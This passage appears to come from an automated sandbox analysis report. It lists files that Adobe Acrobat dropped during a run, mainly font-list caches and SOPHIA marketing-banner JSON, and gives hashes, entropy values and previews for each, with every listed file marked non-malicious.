DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6224

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6224

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.361612701462705
Encrypted:	false
SSDEEP:	6:YEQXJ2HXq/m/4Hp0VoZcg1vRcR0Ypjg1eoAvJM3g98kUwPeUkwRe9:YvXKXq/DHp1Zc0vsEVGMbLUkee9
MD5:	DA65D2796875EC4F9A5A7B082D3341FE
SHA1:	64F96BDFABB1C48176C498CBB5248F7295535A7D
SHA-256:	25433127C325E5243068D85A18CD42AF9958F345FF16B99F5AA459020C91DFD1
SHA-512:	E8642A5D085EA701F9EA6EAFA9F08354DD6DD3EF5C3FE4A25D18920C8B45CF49D11F680A1FFE5332146F5BB368A3DF4F4CA6298BF6315BCE0FE580430C8B7430
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bed9a704-d5a5-4e8c-9db6-9ac7d8212f70","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737100867622,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3109679845998174
Encrypted:	false
SSDEEP:	6:YEQXJ2HXq/m/4Hp0VoZcg1vRcR0Ypjg1eoAvJfBoTfXpnrPeUkwRe9:YvXKXq/DHp1Zc0vsEVGWTfXcUkee9
MD5:	5BE95C14018DF829766AA97E295CB6E3
SHA1:	EFA92C9C8693267C834BB3C54C10A9E3FFB55E9E
SHA-256:	C56E85B4D4A41FACEA8AE3DA78F771CC2ED01DCE25AE941BC4F891F4FABBEF8A
SHA-512:	7A0044CA88AB4EF763892CF5A92EAD61D539F7CCB39EFFBDDBAF8BFC6C7FA9E6DE1997626F1952BB825016F0F4E50010622BC37170718194F017360118A2DCC6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bed9a704-d5a5-4e8c-9db6-9ac7d8212f70","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737100867622,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.289516301125822
Encrypted:	false
SSDEEP:	6:YEQXJ2HXq/m/4Hp0VoZcg1vRcR0Ypjg1eoAvJfBD2G6UpnrPeUkwRe9:YvXKXq/DHp1Zc0vsEVGR22cUkee9
MD5:	0E91912E6C1A150D61E45386D3A5C64B
SHA1:	1712F8870C517C34D2CC97B41A245645CF8DE0FC
SHA-256:	6ADC0DBDDCC590F721323B12AA992C72544BE3989000CD9232E1AFC92EE0565D
SHA-512:	E88B8D34EFF08643503A1C462C6D154CC29FDBC97AF8BF75434D79A5CBEB4FFE60CCCB2A6C25EC4AED82F4C0030B510673857399C98FDEE29BA58B50C9182769
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bed9a704-d5a5-4e8c-9db6-9ac7d8212f70","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737100867622,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.34856178011911
Encrypted:	false
SSDEEP:	6:YEQXJ2HXq/m/4Hp0VoZcg1vRcR0Ypjg1eoAvJfPmwrPeUkwRe9:YvXKXq/DHp1Zc0vsEVGH56Ukee9
MD5:	E90CC61365F51CB9FBA0AC3CF142575C
SHA1:	8EF7E98D31C9433C49426D63C297C469D45B0F1D
SHA-256:	4B1153171EBD89E485EFC6456633847420CA684D9291BA0B9D326A2BDFBCD99C
SHA-512:	1EC5CA2D656FA1870AC68F1B091C4761034FE094B6ED54BB9345F1C84D1AFB333E029276A90CE53367B0276041113A4A3668D3355FC71193B1102F393128DDA0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bed9a704-d5a5-4e8c-9db6-9ac7d8212f70","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737100867622,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687787728037564
Encrypted:	false
SSDEEP:	24:Yv6XqrJ1zvypLgE9cQx8LennAvzBvkn0RCmK8czOCCSMY:YvVtZKhgy6SAFv5Ah8cv/MY
MD5:	CBE881D7BF8ED124121A3F3BE283F512
SHA1:	9966AE85DF6C7917BDF12F19E8F18D5FD6CF1B46
SHA-256:	D6DEE36579DC7239D6B379BB145FCCE91DF4F97AAC56B235B0AB467C2A4CCB59
SHA-512:	DA2BFA9CF8524E4CB2B3B6220592FCB465D31F822B1C9DE5D63C11B02528BB42D62CF067D464CD386394ED8108FABDE08BEC884BDFEC446DAE635DD99ACF8168
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bed9a704-d5a5-4e8c-9db6-9ac7d8212f70","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737100867622,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.29188714301185
Encrypted:	false
SSDEEP:	6:YEQXJ2HXq/m/4Hp0VoZcg1vRcR0Ypjg1eoAvJf8dPeUkwRe9:YvXKXq/DHp1Zc0vsEVGU8Ukee9
MD5:	53EAFB78DEBEB615E431918F30D2ACD7
SHA1:	281576430B7C27FC1BBED083D852A64F80369172
SHA-256:	F84CC4C4F6FDA90BDD9D4991469913DCAA3CB37E73367F8FFC5F6E047B8D9A16
SHA-512:	CB0D1936CD115D22B4F5FF52E667A190DAAF7CAC1B0EBAA00E58E2B2E6EAD3DE646D6A36EF856B5A0A0BE7BD1DC78397B3E59156BE514F16219C8017B85B61FE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bed9a704-d5a5-4e8c-9db6-9ac7d8212f70","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737100867622,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.29616192930199
Encrypted:	false
SSDEEP:	6:YEQXJ2HXq/m/4Hp0VoZcg1vRcR0Ypjg1eoAvJfQ1rPeUkwRe9:YvXKXq/DHp1Zc0vsEVGY16Ukee9
MD5:	96512534CB0B019612117EADAE6EE122
SHA1:	755CB359D1178BBEB0225E980610176FAEF34D8F
SHA-256:	C026051F82878A608EE2B1F5FE82595A31DE9267A9FDE9ED52A2D083DF98433B
SHA-512:	E099A7622BBCBD8959A6AC1A13F3BDA85B27B90319FE54D3A77A5F479D6594130AF78FCE3E889F3F8A74D8BC8819CA1D9F8B95BBE3825263A1BF4581B238187A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bed9a704-d5a5-4e8c-9db6-9ac7d8212f70","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737100867622,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.299638735665432
Encrypted:	false
SSDEEP:	6:YEQXJ2HXq/m/4Hp0VoZcg1vRcR0Ypjg1eoAvJfFldPeUkwRe9:YvXKXq/DHp1Zc0vsEVGz8Ukee9
MD5:	A93384641393BA1AE030F048A9E887A7
SHA1:	D737A9E7671FC64ED14E83C28EABE682DF6922D8
SHA-256:	9CBACFB368C01C482C98C3D60A3E9AD6D08E862FF3233252FC45AD5BED5143E7
SHA-512:	6574D4523EBAC5321F5D4E0D5DD6BB00615E138BBCFE1794291F1B2B6D44010F7BAE4DE0F3A28241688BDE10BD93E982948516788B9D3FE960AE9D2DB6A148C0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bed9a704-d5a5-4e8c-9db6-9ac7d8212f70","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737100867622,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.317299458176707
Encrypted:	false
SSDEEP:	6:YEQXJ2HXq/m/4Hp0VoZcg1vRcR0Ypjg1eoAvJfzdPeUkwRe9:YvXKXq/DHp1Zc0vsEVGb8Ukee9
MD5:	7A54BC400645C1EFAB2DCA8601F4DA88
SHA1:	AAF41756AC141A4A7C103420803A02264CDC2136
SHA-256:	6B260686192401548C65716189872FC9D5A5961CB88055964FFF76CB46684617
SHA-512:	157BEDAB38D1CD7554A8B93B324615F7ADD0D3A505700FEAEF71EB1739343946A2C20BCE92A65523B3E2338692243D79653D3EBD680F937B17F45D710126D42B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bed9a704-d5a5-4e8c-9db6-9ac7d8212f70","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737100867622,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2981778238857204
Encrypted:	false
SSDEEP:	6:YEQXJ2HXq/m/4Hp0VoZcg1vRcR0Ypjg1eoAvJfYdPeUkwRe9:YvXKXq/DHp1Zc0vsEVGg8Ukee9
MD5:	0B0B62CD0B05C276102A40143F5DA906
SHA1:	2E43B3F94FCE9A5D2CDA56AC6D7EED6B93A115AD
SHA-256:	5327E2254ADA433413555D4C69DB7CCCC762D0161A7F646B69D9B62682A8FEAA
SHA-512:	D2FEDD7DAE840D575833B57C1A5A748A6B17B7AF1027B44ED6C6121E9735034B448FE5B1BAEA288354D471C2A4C5F7D1CE3D43057E1B408F0046B9CA6A299459
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bed9a704-d5a5-4e8c-9db6-9ac7d8212f70","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737100867622,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.284495107070843
Encrypted:	false
SSDEEP:	6:YEQXJ2HXq/m/4Hp0VoZcg1vRcR0Ypjg1eoAvJf+dPeUkwRe9:YvXKXq/DHp1Zc0vsEVG28Ukee9
MD5:	5E2B7351991E07A766A0F056BBBA59D6
SHA1:	2894D83FE95886A54D761CA24B6D026A478684A4
SHA-256:	0C1FDF1364901079443E0CF4F2D0D042DB27BED9937157B1C53FCAC913201B1C
SHA-512:	BF7509685E02F8D09F1AD038C8E6B3838EE9BFD55E1DC113B1014824F24BA2C43E477F7015CAC0B80C4809D579227373E03018FA670DEAC181B8639BF2283C50
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bed9a704-d5a5-4e8c-9db6-9ac7d8212f70","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737100867622,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.281737445106762
Encrypted:	false
SSDEEP:	6:YEQXJ2HXq/m/4Hp0VoZcg1vRcR0Ypjg1eoAvJfbPtdPeUkwRe9:YvXKXq/DHp1Zc0vsEVGDV8Ukee9
MD5:	64A31C1642E45BBE9EB80FE5B4E84ACC
SHA1:	1FE5B855E083DBD689A99C29DBC9F858F4C5784B
SHA-256:	6F3FABE7ECD97B92D1E882D8D2939992AF26783F7C0F067387E192C24F52DC8A
SHA-512:	2A58C1F51B76872255F8ABCA8564D7E7F2A1C68A73A4010E4018B01C9ECEA7A3D3A000C62D50057ADBE42A64ED471652F29D66D31B195A7388FB121CD0D11D80
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bed9a704-d5a5-4e8c-9db6-9ac7d8212f70","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737100867622,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.286659541691354
Encrypted:	false
SSDEEP:	6:YEQXJ2HXq/m/4Hp0VoZcg1vRcR0Ypjg1eoAvJf21rPeUkwRe9:YvXKXq/DHp1Zc0vsEVG+16Ukee9
MD5:	A70FDFECA75D4A07251D41B0F7801187
SHA1:	AC2CDCBAAF3C11DFE84A299BD20F804299E9DF64
SHA-256:	A4B9FF45435A42AD253E391B1AFA0A330B5A1CD24D4746076A56F1B1D907783E
SHA-512:	EEA2C5A0605F333AB0D5D38D372FBE4E0C2D6F908E06CF7862898803B363C5C6CEA2BC7C16650D5A576B9D2EFE4BA80FE7162070E3853C0D050E8A2DCB5DD74A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bed9a704-d5a5-4e8c-9db6-9ac7d8212f70","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737100867622,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.662861727009245
Encrypted:	false
SSDEEP:	24:Yv6XqrJ1zvuamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSMY:YvVtZYBgkDMUJUAh8cvMMY
MD5:	573C9B6A2648A4229C89B79B828C53CA
SHA1:	1F623A4ED41AAE9EC57B5B333888E93C98FBADAB
SHA-256:	4C5037EA2D3F32EB3A1441763E00A2D57DA46B11FA8B51D4D5A2B0C8B0BFAE61
SHA-512:	F6AE5EB1B1285416EAEAA811959AABAE6208C035B5B4346D38261065665A0DE9E12986073083823B78BBA9B49DA0148BE06A7BD5861D83F84980699E48617C68
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bed9a704-d5a5-4e8c-9db6-9ac7d8212f70","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737100867622,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2604308406516855
Encrypted:	false
SSDEEP:	6:YEQXJ2HXq/m/4Hp0VoZcg1vRcR0Ypjg1eoAvJfshHHrPeUkwRe9:YvXKXq/DHp1Zc0vsEVGUUUkee9
MD5:	06E3E9FC9E1760426D37E1AAB2B754A5
SHA1:	9E44D5F1814FF9F683F59B4898DD081455452051
SHA-256:	B8A0799E047D1F2A5207E4E8B82AE99AFE89F0BC56BFA078C9EB13C37930B2AB
SHA-512:	D1A36F9FA11091B556A3C2DE8D11E0D08E8D8381A5007A699C309D5F3F7E2B7FF6CD4085AB331A4F14A21EF14B2FC33FF7513DD2691FF68E26D9C48CB993E633
Malicious:	false
